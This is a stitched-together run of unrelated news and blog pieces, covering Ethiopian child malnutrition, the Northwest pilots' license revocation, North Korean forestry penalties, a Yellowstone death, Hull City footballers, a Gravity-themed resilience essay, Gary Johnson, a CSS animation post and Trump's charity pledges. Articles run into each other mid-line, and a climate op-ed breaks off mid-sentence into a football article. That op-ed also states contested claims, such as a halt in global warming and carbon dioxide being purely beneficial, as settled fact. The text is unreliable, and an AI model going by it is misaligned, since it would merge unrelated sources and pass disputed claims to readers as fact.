There is a crucial shortfall in the supply of therapeutic foods used to treat children with severe acute malnutrition, the UNICEF official said.
The U.N.'s children's agency is appealing for $50 million to pay for emergency needs.
UNICEF estimates that 6 million Ethiopian children under the age of 5 are at risk and that more than 120,000 have only about a month to live.
Don't Miss Aid sought for African farmers
The World Food Program supplies the emergency food for UNICEF, but rising food prices mean it could not guarantee aid for all the areas in need.
"Unless you get immediate assistance the risk is, you fall into severe malnutrition and eventually death, so unless our supporters come in immediately for this, we fear that is what is going to happen in the country," said Jakob Mikkelse, the program's nutrition and education chief.
Egu is a village UNICEF is no longer able to visit regularly.
"If we were not here, those children who we had found now with severe acute malnutrition would have died at home," UNICEF Emergency Nutrition Project Officer Samson Dessie said.
As the relief workers depart Egu, they leave behind a few emergency food packs and a promise to return.
The Ethiopian government has worked with UNICEF since 2004 on the Enhanced Outreach Strategy to provide food for child survival. The effort distributes child survival packages that include vitamin A supplementation, de-worming, measles catch-up, nutritional screening and referral to supplementary or therapeutic feeding programs.
"EOS is really very important from many perspectives with regard to child survival," Dessie said. "The first is it brings high-impact, low-cost child survival packages like vitamin A, which can reduce child mortality by up to 35 percent."
All About Africa • UNICEFFAA administrator J. Randolph Babbitt revoked the licenses Tuesday of the two Northwest Airlines pilots who said they were distracted by laptops when they flew 150 miles past the Minneapolis International Airport before circling back to land.
Air traffic controllers lost radio contact with Northwest Flight 188, carrying 147 passengers, for 90 minutes Oct. 21. Controllers and airline dispatchers repeatedly tried to reach them through radio and data contact, without success. The agency cited the pilots for ignoring air traffic control instructions and "operating in a reckless manner that endangered the lives and property of others."
"The confidence in the aviation system in our country demanded FAA take the action they did," said Jim Hall, a former chairman of the National Safety Transportation Board. "What the pilots did obviously breached aviation safety and aviation security and reflects badly on the professionalism of fellow pilots."
In interviews Sunday, the pilots told NTSB investigators that they lost track of time because they were involved in a "concentrated period of discussion" about the company's pilot scheduling system. Co-pilot Richard Cole of Salem, Ore., told NTSB investigators that he was explaining the system to the plane's captain, Timothy Cheney of Gig Harbor, Wash.
In congressional testimony and speeches before pilots' groups, Babbitt repeatedly has spoken about the need to restore pilot professionalism. Babbitt is a former president of the Air Line Pilots Association, the world's largest pilot union.
Babbitt's comments about professionalism generally have come in response to questions about the February crash of a commuter plane in Buffalo that killed 50 people. NTSB investigators so far have exposed evidence that the plane's captain had concealed past flight test failures. They also found that the co-pilot hadn't made arrangements to get proper sleep before the flight despite undertaking a cross-country, red-eye commute to work. The flight was contracted out by Continental Airlines to Colgan Air, a regional airline.
In separate letters to the two Northwest pilots, the agency stated the FAA administrator "finds that you lack the qualifications necessary to hold an Airline Transport Pilot certificate."
Even with the FAA license revocations, the Northwest pilots remain under intense scrutiny, and the incident is still under investigation by the NTSB. Agency investigators interviewed the pilots for five hours Sunday. Delta, which merged with Northwest last year, has suspended the pilots until the investigations are completed.
The pilots have 10 days during which they can appeal the revocation, issued under an emergency order.
In a statement Monday, Delta said using laptops in the cockpit is against the airline's policies and vowed to terminate pilots for the infraction.
"The flying public right now is dealing with fewer flights, higher costs, having to pay for baggage," Hall said. "I think they certainly should expect a better performance out of the airline and the pilots than we see here."The North Korean state has been warning citizens who hamper forest restoration and destroy natural habitats that they might face the death penalty for their crimes, photos obtained by NK News this month and taken last year have revealed.
The source could not say where in the country photos were taken, due to the sensitivity of obtaining the material.
The proclamation listed recommended and prohibited activities and was released by the DPRK’s Ministry of People’s Security under the National Defense Commission on March 17, 2015.
The punishment applies to all organizations and companies as well as residents.
“[The promulgation] clamps down, arrests and legally punishes those who violate [the rules], regardless of post position, distinguished service, and affiliation,” the Ministry of People’s Security said in a written statement.
“Someone causing forest fires or cutting down trees indiscriminately and illegally in specially protected forest areas will be punished ‘carrying a maximum penalty of death.’”
The People’s Security Ministry urged violators to confess within one month, saying those that do would be “treated leniently.”
The announcement also alluded to a feud between locals and the law enforcement tasked with protecting forests.
“Don’t ever protest against and assault officials in charge of supervising and controlling the enforcement,” the Ministry of People’s Security warned. The authorities said the criminal would be caught in the act and face “severe legal punishment.”
The North called on relevant organizations to “actively engage in” forest restoration campaigns and warned against hindering forest development, urging them to place emphasis on forestry rather than agriculture.
“The relevant organizations, companies, officials, employees, and residents should not disrupt production of saplings by not building a tree nursery or planting crops in the land for nursing seedlings,” the ministry said.
The announcement implied that the North Korean government had come into conflict with residents and organizations who had prioritized farming over forestry.
“The relevant organizations, companies, officials, employees, and residents must not grow only crops at the arable land for both forestry and agriculture with the arable land for both forestry and agriculture,” the ministry warned. “And [entities] shouldn’t blast trees by lifting their roots as considering that the trees spoil the crops.”
The announcement indicates that military authorities have heightened surveillance of damaging forest resources: illegally exploiting resources on mountains, slashing and burning fields and cultivating mulberry plantations or a field to gain extra income.
Building up a base for procuring raw materials and infrastructures such as roads and facilities were also prohibited.
“All organizations, companies, officials, employees and residents ought not to be organized to illegally chop trees and cut down trees recklessly and in secret and to convey and process the trees fell down illegally,” the Ministry of People’s Security said in a written announcement.
The ministry also issued a warning against picking medicinal herbs and gathering mushrooms without permission, as well as forbidding citizens from exporting and importing forest resources through illicit channels and selling and buying them on the black market.
North Korean leader Kim Jong Un published an article entitled “Let the Entire Party, the Whole Army and All the People Conduct a Vigorous Forest Restoration Campaign to Cover the Mountains of the Country with Green Woods” on February 26, 2015, the state-run Korean Central News Agency (KCNA) reported on February 27.
“Calling on the entire party and army and all the people to turn the mountains of the country into thick woodland through a vigorous campaign to restore forests, he specified tasks and ways for doing so,” KCNA said.
Kim reiterated that North Korea should strengthen supervision and control over forest planting and protection.
“We should intensify legal control over forest planting and conservation. If legal control is weak, violation of law may not be discontinued,” KCNA reported quoting as Kim saying.
“Random felling should be made a serious issue, whatever the unit concerned is and whoever the person concerned is,” Kim said. “Units should be properly rewarded or punished according to their deserts with regard to forest planting and conservation.”
Kim criticized deforestation, saying “unauthorized felling of trees is tantamount to ‘treachery.’”
Featured Image: DPRK Today(Reuters) - A 23-year-old man who was scalded to death after falling into a boiling Yellowstone National Park hot spring in June was trying to test the temperature of the bubbling pool for a soak when he slipped in, according to a report on the incident.
Colin Nathaniel Scott was seen by his sister, Sable, plunging into the hot spring near Pork Chop Geyser on June 7. His body was never recovered and according to the U.S. Department of the Interior report, likely dissolved in the highly acidic, 212 degrees Fahrenheit water.
The department's 60-page report, first made public this week following a Freedom of Information Act request by local Montana television station KULR, says that the brother and sister had left the park boardwalk and entered a dangerous area marked by warning signs.
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"There’s a closure in place to keep people from doing that for their own safety and also to protect the resources because they are very fragile," Lorant Veress, a deputy park ranger, told KULR. "But, most importantly for the safety of people, because it’s a very unforgiving environment."
Veress told KULR that Colin and Sable Scott were "specifically moving in that area for a place that they could potentially get into and soak. I think they call it Hot Potting.”
The report describes the accident in grim detail, saying that Sable Scott had been videotaping the hike and recorded her brother's death. The videotape was not included in the report and sections describing its contents were redacted.
But rangers and other law enforcement personnel who responded to the scene after Sable Scott sought help described seeing her brother's head and upper torso briefly floating face up in the hot spring, a crucifix around his neck.
Only his wallet and orange-and-black flip flops, one of them badly melted, were later. A photo of the scene shows one of the shoes at the edge of the murky pool as steam rises from its surface.
Each year some four million people visit Yellowstone, the first national park established in the United States. It encompasses some 3,500 square miles across Wyoming, Idaho and Montana.
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In 2014 a Dutch tourist was fined $3,000 after crashing a drone aircraft into Grand Prismatic Spring, a Yellowstone geothermal feature known for its brilliant colors caused by bacteria and minerals.[Co-written by William Happer, and first published in the Wall Street Journal.]
Of all of the world’s chemical compounds, none has a worse reputation than carbon dioxide. Thanks to the single-minded demonization of this natural and essential atmospheric gas by advocates of government control of energy production, the conventional wisdom about carbon dioxide is that it is a dangerous pollutant. That’s simply not the case. Contrary to what some would have us believe, increased carbon dioxide in the atmosphere will benefit the increasing population on the planet by increasing agricultural productivity.
The cessation of observed global warming for the past decade or so has shown how exaggerated NASA’s and most other computer predictions of human-caused warming have been—and how little correlation warming has with concentrations of atmospheric carbon dioxide. As many scientists have pointed out, variations in global temperature correlate much better with solar activity and with complicated cycles of the oceans and atmosphere. There isn’t the slightest evidence that more carbon |
with considerable pedigree though, and the big money signing of Nick Proschwitz twinned with the exciting recruit of free agent Sone Aluko had sparked some optimism around East Yorkshire.
That optimism was quickly justified, as the little-fancied Yorkshire outfit began their campaign with 4 wins from their first 6 games.
Steve Bruce won promotion in his first season as Hull City manager
It started to look like a season in which no-one wanted promotion towards the tail end of the campaign, as the top sides kept throwing away points.
Hull and Watford were the worst culprits, the Tigers failing to win any of their last 4 games, and the Hornets only 2 of their last 6.
Ultimately, Steve Bruce’s men clinched promotion in dramatic fashion following a nail-biting final day, having to wait 15 minutes to find out the result of Watford’s game against Leeds which assured their promotion.
Hull City fans celebrate their dramatic promotion to the Premier League
Three years on, the Hull City squad is barely recognisable, with only 4 players from that promotion still in Mike Phelan’s ranks. From Abdoulaye Faye to Jay Simpson, we take a look at where some of those Hull City heros are today:
David Stockdale
Unusual for a promotion season, Hull City did not have a settled goalkeeping choice for the 2012/13 campaign, but it was David Stockdale who played the majority of the games.
Three years on and the then-on-loan Tiger has done well for himself, becoming Brighton’s first choice shot stopper, with 94 appearances for the team in just two seasons.
Liam Rosenior
Liam Rosenior in action for his current club Brighton
A favourite among Hull City fans, Liam Rosenior was a fine servant to the club, and a man many people were sad to see depart.
A dependable and likable footballer capable of playing at either right or left back, Rosenior, like Stockdale, is now at Brighton, where he recently suffered a nasty injury.
James Chester
One of the finest defenders to ever play for the club, James Chester shouldn’t really be a Championship footballer, but finds himself there after a difficult season under Tony Pulis.
The classy centre-back is a Rolls-Royce of a defender, who can dispossess players cleanly and is comfortable on the ball, he joined Aston Villa from West Brom this summer.
Abdoulaye Faye
Abdoulaye Faye was a titan at the back during Hull City's 2012/13 promotion campaign
The loveable Senegalese defender made a big impression at the KC(OM) Stadium, despite featuring essentially only in the 2012/13 campaign.
Faye stayed for Hull’s return to the Premier League, but didn’t feature, and joined Malaysian Premier League side Sabah FA following his release. He has since retired from playing.
Jack Hobbs
A key player alongside James Chester the previous season, Jack Hobbs was injured for much of the 2012/13 season, and replaced by Curtis Davies over the following summer.
A solid centre-back who is very well-suited to Championship football, the ex-England youth player is currently playing for Nottingham Forest.
Paul McShane
Hull City supporters really took to Paul McShane in 2012/13
A man whose career was given a new lease of life by Steve Bruce, his time at Hull City and possibly within the professional game looked to be over before the ex-Manchester United captain was appointed Hull manager.
McShane quickly emerged as a fan favourite in East Yorkshire, due to his unparalleled heart, desire and sheer bravery. A man willing to throw his face in front of a bus for his team, McShane is the current Reading FC captain.
Joe Dudgeon
The 2012/13 season was one which started with so much promise for Joe Dudgeon. He began the season as Steve Bruce’s first choice left back, making the assist in Hull’s first game of the season, a 1-0 win over Brighton.
After just 9 league games, the first of a series of nasty injuries in Dudgeon’s career began though. The defender failed to find another club following his release in 2015, and at the age of 25, he has already begun coaching at Manchester City.
Andy Dawson
Andy Dawson in his new role at Scunthorpe United
Into his mid-30’s at this time, the Hull City legend didn’t play much of a part in 2012/13, just 4 league games in fact.
He had his testimonial in 2012 and left the club in 2013 to rejoin former side Scunthorpe United, where he remains as a coach. Most Hull City fans would love to have Dawson back at the KCOM in some capacity one day.
Paul McKenna
Very much a Nigel Pearson signing, Paul McKenna made just 6 starts and 4 sub appearances early on in the season.
Quickly replaced by Steve Bruce, the former Nottingham Forest captain went on-loan to Fleetwood Town that season, before joining non-league side Bamber Bridge.
He retired in December 2015, but made a return to football in 2016, making a single appearance for Longridge Town, where he is currently a coach.
Corry Evans
Midfielder Corry Evans training alongside brother Jonny for Northern Ireland
Corry Evans was another player that some were very surprised to see shipped away from the KC Stadium so quickly.
A fairly regular fixture in Bruce's promotion team, appearing in 33 games, he was sold to Blackburn following promotion, replaced by the likes of Jake Livermore and Tom Huddlestone. Now aged 26, Evans remains a Blackburn player.
Stephen Quinn
Former Hull City duo Robert Koren and Stephen Quinn
Stephen Quinn was a pivotal player for Hull City as they finished second in the Championship. He formed a fantastic partnership with Robbie Brady on the left of the pitch, with the two often combining to great effect.
A very tidy footballer, Quinn was excellent in a midfield three. He joined the Tigers from Sheffield United for a nominal fee and stayed in Hull for three years, before joining current club Reading in 2015 on a free transfer.
Robert Koren
One of the standout performers in Hull City's 2012/13 Championship success was Robert Koren. The teams top scorer with 9 goals, Koren was a constant threat from midfield for the Tigers.
Player of the Year the previous season, the former Slovenia captain had four marvellous seasons in East Yorkshire, before heading down under and joining Melbourne City. He left Melbourne in January and is currently without a club.
Ahmed Elmohamady
Ahmed Elmohamady celebrating his second promotion to the Premier League with Hull City
One of few players here still at the club, Ahmed Elmohamady joined Hull City on-loan in the summer of 2012, before making that deal a permanent one from Sunderland in the summer of 2013.
His consistency and stamina convinced Steve Bruce to play a 3-5-2 formation for much of 2012/13, which suited the tireless Egyptian down to the ground.
Robbie Brady
Like Elmohamady, Robbie Brady joined Hull City first on-loan, before signing on a permanent basis from former club Manchester United.
The Republic of Ireland international proved to be a great signing for the Tigers. For four years he gave the club an excellent threat from the left of the pitch, before leaving for Norwich following Hull's relegation in 2015.
George Boyd
George Boyd in action for current club Burnley
George Boyd was brought in from Peterborough on a loan deal with a view to a permanent. Hull were already in a favourable position, and Boyd's arrival was intended to give them an edge in the promotion race.
So it proved, as the versatile and hard-working former Scotland international scored 4 goals in 13 games. He was sold in 2014 to Burnley, as Steve Bruce looked to bring his squad on.
David Meyler
One of the four players still at Hull City from that 2012/13 season, David Meyler was a real driving force in midfield as the club fought their way to the Premier League.
Following injury problems and a lack of regular game time at Sunderland, Meyler was a regular fixture for Bruce at Hull.
Sone Aluko
Sone Aluko now plays for Fulham
Only a recent departure, Sone Aluko remained at Hull City up until the summer just gone, when he joined high-flying Fulham on a free transfer.
The Nigerian international was one of the best players in the Championship and absolutely outstanding for Hull City in 2012, but an unfortunate injury limited him to just 23 appearances.
Nick Proschwitz
Hull City may have achieved promotion, but their big-money signing Nick Proschwitz did not prove to be the prolific talisman that they had hoped for.
The German arrived having been the top scorer in Germany's Bundesliga 2., but struggled to replicate that form in the Championship, scoring just 3 goals in 29 games.
Proschwitz has turned out for 5 teams in the 2 years since leaving Hull, and is currently playing in the Belgian top flight with Sint-Truidense V.V.
Ahmed Fathy & Mohamed Nagy (Gedo)
Egyptian striker Gedo celebrates scoring for the Tigers
One couldn't go through the players who appeared for Hull City in 2012/13 without mentioning their two Egyptian loanees Fathy and Gedo.
The two internationals with 138 caps between them played just 19 times for the club. Fathy looked like a good combative midfielder who could break up play effectively, but made a mistake away at Wolves and was never really given another chance.
Fellow Egyptian Ahmed Fathy
Gedo meanwhile was a real poacher. Quiet for long periods but a live wire in front of goal, he scored 5 goals in his first 6 games in the Championship before picking up an injury.
Both are still Egyptian internationals, and both are still under contract with Al Ahly. Fathy played briefly in Qatar, before returning to Egypt, whilst Gedo is currently on loan at Egyptian Premier League side El-Entag El-Harby SC.
Jay Simpson
Jay Simpson in action for the Tigers
A regular up front for Hull City in 2012/13, Jay Simpson was far from prolific, but he still played a useful role holding up the ball and bringing people into the game.
He left on a free the summer in which Hull won promotion, and following a season in Thailand, he returned to England in 2014 with Leyton Orient. He was the second highest scorer in League Two last season with 25 goals.
SEE ALSO: How Hull City Have Made One Of The Signings Of The Summer
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Other players who featured for Hull City during the 2012/13 campaign include Eldin Jakupovic, Cameron Stewart, Aaron McLean, Matty Fryatt, Mark Oxley, Tom Cairney, Seyi Olofinjana, Liam Cooper, Jamie Devitt, Mark Cullen, Ben Amos, Alex Bruce, and Conor Townsend.Gravity and the Power of Resilience Posted by toddbouldin on October 8, 2013 · Leave a Comment
I’ve discovered over time that the rush of life into the tender place where we are broken is the beginning of resilience.” – Mark Nepo
The astonishing new film Gravity by director Alfonso Cuoron tells the story of astronaut Dr. Ryan Stone, played by Sandra Bullock, who finds herself alone in space after the death of her colleagues and the destruction of her space station from satellite debris. The film is rich with spiritual significance, but it most clearly tells the story of remarkable resilience by its main character, and a story which can teach leaders and all of us how better to meet life’s challenges and to come back from dark places in our lives.
Spoiler alert: The film’s plot and endings are revealed below.
There are five key principles of resilience that I observed in Gravity:
1. Maintain a sense of humor. Astronaut Matt Kowalsky, played by George Clooney, provided Dr. Stone with some comedic relief during the otherwise suspenseful drama being played out in the silences of space. His one liners and wit provide a level of context and sanity to the most stressful of circumstances. He even finds humor in the circumstances themselves because the context and the situations are so outrageous that one has to laugh, even amidst the gloom. Those who keep their heads amidst difficult circumstances find a way to laugh with themselves and others at the ridiculous circumstances until they reach better shores. It sounds insensitive, but don’t take yourself or circumstances too seriously. It’s part of the adventure of being human. HuffingtonPost’s Third Metric tells the story of a very well known corporate executive in New York Sallie Krawcheck. She was fired from her job, but she explained later that she was grateful that she had been fired. She responded, “How many get to get fired and it’s on the front of the Wall Street Journal?” Being fired, and in such a public position, is no fun. But finding the humor in it restores our humanity and gives us a sense of perspective with ourselves and with others.
Can you find humor in your crises? Do you make time to be with family or friends during sufferings so you can laugh and return to temporary sanity?
2. Prepare now for possible outcomes. Even though she was a doctor and not an astronaut by training, Dr. Stone made it through trying circumstances because of her preparation and fitness prior to the misadventures in space. The way she prepared on the ground empowered her for the trials in space. She was trained to operate and fly the U.S. space station, but also a Russian Soyuz craft as well as a Chinese station. Even though she had to refer to manuals to operate the craft, she was sufficiently aware of her objectives even when she did not know the exact procedures. The film attractively presents Dr. Stone’s very fit physique, revealing her physical fitness and attention to her body for a woman of her age. It was her fitness, training and knowledge gained in long years of preparation that enabled her to survive when the cards were down. And so it is for us still here on the ground. When life throws us a curve, it is the solid foundation of mental, spiritual and physical fitness that serve as a solid foundation for survival of a crisis. What investments are you making today in each of these areas so that you are developing a bank of fitness deposits for the tough times?
3. Let past trials inspire your current determination. Before pursuing her career in space, Dr. Stone had survived the loss of her only daughter to an accident. Nothing is more tragic than the loss of a child, and Dr. Stone had found a way to pursue another great challenge after this loss and to succeed. While being alone in the darkness and silence of space is a unique travail, the determination and resources to survive it are not unlike those that we need to survive all of life’s great tragedies and trials. Dr. Stone could face the unknowns and difficulties when she remembered her daughter and the loss of her colleague Matt Kowalsky, and she allowed these difficulties as well as the memories to inspire her determination to move into the future.
In his most recent book David and Goliath, Malcolm Gladwell points out that it is life’s limits and disadvantages that often “advantage” us because they create distinctive skills, empathy and behaviors that allow us to have a competitive advantage over others who rely on their advantages that turn out to their weaknesses. Rather than being disadvantaged on the battle field, King David’s shepherd status allowed him to develop slinger skills that actually advantaged him against an heavily armored but slow lumbering giant Goliath. Life’s limits, crises and disadvantages have a way in the rhythms of the universe of creating new solutions and unexpected advantages if we allow suffering to inspire us rather than to drown us. Some of the world’s most successful people have been fired from their jobs or lost elections. “As a sense of competence increases, individuals are better able to respond effectively in unfamiliar or challenging situations and persevere in the face of failures and challenges,” Kathleen M. Sutcliffe and Timothy J. Vogus write in Organizing for Resilience. What have you learned in crisis moments or suffering? How could you use what you learned to inspire you or transform you now?
4. Let go, then focus on the next step. When Dr. Stone was losing oxygen and her mind in the midst of the whirling debris and spiraling circumstances, it was Matt Kowalsky who empowered her resilience. He first told her that she had to let go of him. The most difficult part of our way back from dark places is letting go of our dependencies, some of which may have led us to the dark space in the first place. If we are going to find a way through the crisis, we first must admit that we are not in control, and then let go of all the things on which we have depended in the past that won’t work for us in the future. Once Dr. Stone had let go, Kowalsky focused her on the big picture and the next steps to get there. Towards the end of the film, Dr. Stone learns again that life is a series of letting gos, all the way up to that final moment when we have to move forward and realize that the ultimate outcomes of our lives is in the hands of a loving Creator and not in our own.
Rather than become discombobulated over all of the challenges between the present moment and her safe arrival back on earth, Dr. Stone continued to focus on that next step, rather than all of the steps, to reach her ultimate goal. Crises of personal grief, the loss of a job, the failure to achieve a promotion, or the end of a relationship become much more manageable if we can get up on “the balcony” where we can see the big picture, break down the steps needed to get back to where we want to be, and then just focus in the present moment on that next step. The others are out of our control and will come next. Mapping out all of the steps gives us some confidence, but it also can be overwhelming. So begin today on the step where you are.
What do you need to let go of if you are to return or arrive at a better place? All transformation requires pain, loss and the grief of letting go. What are all of the steps that would be involved in getting from the “here” of your present crisis to the “there” of your future hopes?
5. Look for the beauty and express your gratitude when you experience it again. Before Matt Kowalsky left Dr. Stone alone in space, his last words to her were to look for the sunset over the mountains. These parting words were words of hope because they enabled her to believe that the night would turn to morning, and that she again would see beauty where she now saw only darkness. This is not just wishful thinking. In the midst of tragedy or challenge, it is the remembrance of relationships we treasure, the recall of simple beauty, the memories of former times of joy, and the hope for the return of these to our lives that keep us moving forward in the most trying of circumstances. The failure to remember and to hope allows despondency, doom and victimhood to overtake us. The faith and hope that the good times and the beauty will return allow us to keep believing and keep acting until the sun rises again. “For the sufferings of this present time are not worthy of being compared with the glory that will be revealed to us.” (St. Paul, Romans 8:18).
Once Dr. Stone arrives safely back on earth, she crawls out of the ocean water and feels the sand run through her fingers while she lays prostrate on the ground. The crisis of space was hundreds of miles away but its jarring memory was still fresh in her mind, and it was not time to get up yet. Before she could walk into the future, she needed to experience the sheer gratitude that comes when we have survived and found ourselves on the ground again. And so she looks to the sky, feels the ground, and says the words that we learn in the moments of resilience, “Thank you.”
As I watched this moment, I thought of a very dark time in my own life. In the late fall of 2008, my mother passed away. In the summer of 2009, I lost my job in the height of the country’s great recession. For months, I networked. I applied to countless jobs. I struggled with my own professional identity. I was behind on my bills. Throughout that time, I would laugh with friends when one thing after another kept going wrong. I kept meeting them for lunch or dinner to stay connected. I had to let go of hopes of a return to my former job or the relationships there. I remembered that I had made it through tough times before and trusted that I would this time too. Then out of the blue, a prospective client called me that I had cultivated through simply taking that “next step” of creating my LinkedIn profile. After almost two years of what seemed like a never-ending career nightmare, I received the contract for work that continues to this day. As I rose early on that first day to fly to my assignment, I walked through the corridors of LAX, again in my suit and tie, and again returning to the joy of work I loved and the feeling that I matter. And as I did so, I remember tears flowing down my face, and all I could say, over and over again, was, “Thank you, thank you, thank you.”
If you are in a present crisis, envision where you want to be when it’s over. What do you want to feel again? Whose embrace do you want to have again? What places do you want to go? What career do you want to have? Practice mindfulness. Meditate on these. Trust and believe they can be yours again because any day that we are alive is an opportunity to begin and to live again. Space ships return to earth, and resurrections still happen.
These five steps of resiliency are how Dr. Stone survived space, and that’s how we can survive whatever dark, lonely and silent moments come our way until we can rise again to the life that still awaits us.
AdvertisementsAccording to Libertarian Party presidential nominee Gary Johnson, Libertarians apparently largely agree with leftist college professors and socialists like Sen. Bernie Sanders.
During the Libertarian Party presidential debate at the Libertarian National Convention, prospective candidates were asked whether it’s a problem that 83 percent of law professors are allegedly Democrats.
While the other candidates mocked Democrats and the law profession, Johnson said, “Well, I think that 83 percent of all professors are Democrats. And how big of a problem is that? You know what, I think Libertarians probably agree with those professors about 75 percent of the time.”
“This is the opportunity we have here to bring together those law professors, that’s the opportunity we have here to bring together those Democrats, along with smaller government,” Johnson explained. “Look, we come to a T in the road when it comes to economics, but if we can agree on so much, you know what? The discussion then opens up to how government is oppressive, how government is tyrannical, and how we can change to have and actually accomplish lesser government.”
The leftist college professors Johnson claims Libertarians agree with are the same professors who routinely try to shut down dissenting views.
Soon after winning the nomination, Johnson wasted no time trying to appeal to radical leftists.
While speaking on CSPAN on Tuesday, Johnson pleaded for Sanders supporters to consider his candidacy. Johnson said, according to his results from the online quiz on ISideWith.com, he agrees with Sanders on 73 percent of the issues.
“Of course, I side with myself 100 percent of the time, but interestingly, of all the presidential candidates, I next side with Bernie Sanders at 73 percent,” Johnson said.
“Now, that’s the side of Bernie that has to do with pro-choice, pro-marriage equality, let’s stop with the military interventions, that there is crony capitalism, that government isn’t really fair when it comes to this level playing field… legalize marijuana,” Johnson explained. “Look, 73 percent of what Bernie says, I agree with.”
“We come to a T in the road when it comes to economics. I would really argue that if we absolutely had a fair system of economics, that free markets… that we would do a lot better than going down the path of socialism,” he continued.
Johnson even went as far as to say Libertarians agree with socialism—as long as it’s voluntary.
“Look, libertarians agree with socialism as long as it’s voluntary,” Johnson said. “But when it’s forced, that’s tyranny. So that’s the libertarian perspective.”
“But I think there’s so much in common that just, factually speaking, take a look," he adde. "Take a look Bernie Sanders supporters. Take a look at who you next side with.”Our brains work in weird ways. Sometimes you struggle to think of anything, you sit there looking at the blank computer screen for hours, unable to make something look good. Never mind whether you are a designer or developer, you have trouble to put pieces together so the website behaves the way you want. And then, there are the times when you just look at something (that doesn’t even have to be connected to the web!) and a great idea just strikes. It can happen during the night, on a commute, at your friend’s wedding or travelling through Asia. For me, it came when I was looking up the time on a phone at night. My phone’s wallpaper depicts the Northern Lights. It is beautiful, I‘ve been using it for at least two years now. But this time, in the middle of the night, it struck me how awesome it would be if it were animated. Or better yet… to have wallpaper like that on my computer… or maybe a website with a background like it that moves too? I wrote the idea down and fell asleep.
An Idea Revisited
At Lunar we have something that is called Slack Time. It’s the time between projects and you can do whatever you want. Literally! You can read a book, master a new programming language, help someone with their problem or even do nothing (but that’s a waste of time, isn’t it?). I happen to be on slack at the moment, I had just finished the tasks in one project, waiting for the other one to start. The conditions for creative tasks are perfect because World Youth Days is on in Kraków and our office is deserted. I decided to play with the background idea and see what I could come up with. The outcome is a collection of animated gradient backgrounds for the web, all inspired by the night skies. In the next paragraph, I’ll explain how I did it.
The Northern Lights Code
I started with a full page that consisted of nothing but a gradient background done with CSS3 linear gradients. It looked nice, but it was not what I was aiming for. I needed to have it moving in a very delicate, almost invisible way. You might remember my previous blog post about the FLIP technique and a performance of the animations. You can’t just animate the background image and the gradient properties. It is slow, the animation is not smooth and there is a jank. I tried to animate it anyway, just to see the results in Chrome FPS meter. The animation moved with inconsistent 2-55 FPS. Not good enough. I needed to approach it differently. It was not a long search because you don’t have many options if you want an animation that performs well (FYI, you should only animate the opacity and transform properties). So I started playing with rotating and translating my gradient’s position to achieve a sense of a delicate movement. That was the way to go! I added an animation that sways the container. But there was one problem: with the gradient the whole container was moving, it was very annoying because the browser’s scrollbars would jump in and out of the page. The good thing was that it was easily solved by setting up an outer container with its overflow property set to ‘hidden’. It can be any size really, I chose it to span across the whole viewport. One thing to remember was to make the gradient container much bigger so that it wouldn’t show white space at the corners while moving. To have it twice as big as the container felt reasonable.
Take look at the code:
Starry night
The effect felt really mesmerising. But it still lacked something that my iPhone wallpaper had: a tonne of small white dots – stars. Of course, I didn’t want to add 100 elements to the DOM, it would be a killer for the website performance. I decided to use a one small div that is 1px wide and tall, and “copy” it as many times as I wanted thanks to the box shadows and absolute positioning. There is nothing more helpful than a Sass functions for that, just take a look:
And the effect:
The coolest thing about this is that you can choose the amount of stars that suits you and that every time you compile your Sass file the stars will be placed somewhere else due to the random() function. :)
Summary
I hope that you enjoyed the article. If you like the backgrounds, remember to give the repository a star on GitHub. I also enjoy seeing pull request (or even Issues), so please help me make the library better. You can also follow me on Twitter or Snapchat to be the first to find out about the improvements to Auroral and all the new things I come up in the future.While hosting “The Celebrity Apprentice” on NBC, Donald Trump promised to give to charities over 20 times. The problem was — the money given away wasn’t actually from him. (Daron Taylor,David Fahrenthold/The Washington Post)
The time had come to fire Khloé Kardashian. But first, Donald Trump had a question.
“What’s your charity?” Trump asked.
They were filming “The Celebrity Apprentice,” the reality-TV show where Trump schooled the faded and the semi-famous in the arts of advertising, salesmanship and workplace infighting. Most weeks, one winner got prize money for charity. One loser got fired.
Kardashian told Trump that she was playing for the Brent Shapiro Foundation, which helps teens stay away from alcohol and drugs.
Trump had a pleasant surprise. Although Kardashian could not win any more prize money, he would give her cause a special, personal donation. Not the show’s money. His own money.
“I’m going to give $20,000 to your charity,” Trump said, according to a transcript of that show.
He didn’t.
After the show aired in 2009, Kardashian’s charity did receive $20,000. But it wasn’t from Trump. Instead, the check came from a TV production company, the same one that paid out the show’s official prizes.
The same thing happened numerous times on “The Celebrity Apprentice.” To console a fired or disappointed celebrity, Trump would promise a personal gift.
On-air, Trump seemed to be explicit that this wasn’t TV fakery: The money he was giving was his own. “Out of my wallet,” Trump said in one case. “Out of my own account,” he said in another.
But, when the cameras were off, the payments came from other people’s money.
In some cases, as with Kardashian, Trump’s “personal” promise was paid off by a production company. Other times, it was paid off by a nonprofit that Trump controls, whose coffers are largely filled with other donors’ money.
The Washington Post tracked all the “personal” gifts that Trump promised on the show — during 83 episodes and seven seasons — but could not confirm a single case in which Trump actually sent a gift from his own pocket.
Trump did not respond to repeated requests for comment.
Donald Trump casting for “The Apprentice” in 2004. (RIC FRANCIS/ASSOCIATED PRESS)
For Trump, “The Apprentice” — and later, “The Celebrity Apprentice” — helped reestablish him as a national figure, after his fall into debt and corporate bankruptcies in the 1990s.
On-screen, Trump was a wise, tough businessman. And, at times, a kindhearted philanthropist — willing to give away thousands on a whim.
In one instance, Trump’s sudden flourish of generosity was enough to move an insult comedian to tears.
“I’m gonna give $10,000 to it, okay?” Trump said, offering a personal gift to singer Aubrey O’Day after O’Day’s team lost that week’s task. Then Trump noticed another contestant, Lisa Lampanelli — a comedian known as “The Queen of Mean. “Are you crying now? Lisa, what’s going on here?”
“I thought that was really nice,” Lampanelli said, her voice breaking. “I mean, it takes you 30 seconds to make that amount, so thank you. You’re a rich man, and we appreciate it.”
The Post examined Trump’s on-air promises as part of its ongoing search for evidence that the Republican presidential nominee gives millions to charity out of his own pocket — as he claims. Trump has declined to release his tax returns, which would make his charitable donations clear.
NBC, which broadcast his show, declined to release the episodes for review, saying it did not own the footage. Instead, The Post relied on TV transcription services, online recaps of the show, YouTube clips and public tax records.
Donald Trump with two of his children, Donald Trump Jr. and Ivanka Trump, on "The Celebrity Apprentice" in 2008. (Ali Goldstein/NBC/NBCU Photo Bank via Getty Images)
In all, The Post found 21 separate instances where Trump had pledged money to a celebrity’s cause. Together, those pledges totaled $464,000. The Post then contacted the individual charities to find out who paid off Trump’s promises.
In one case, the answer was: nobody at all.
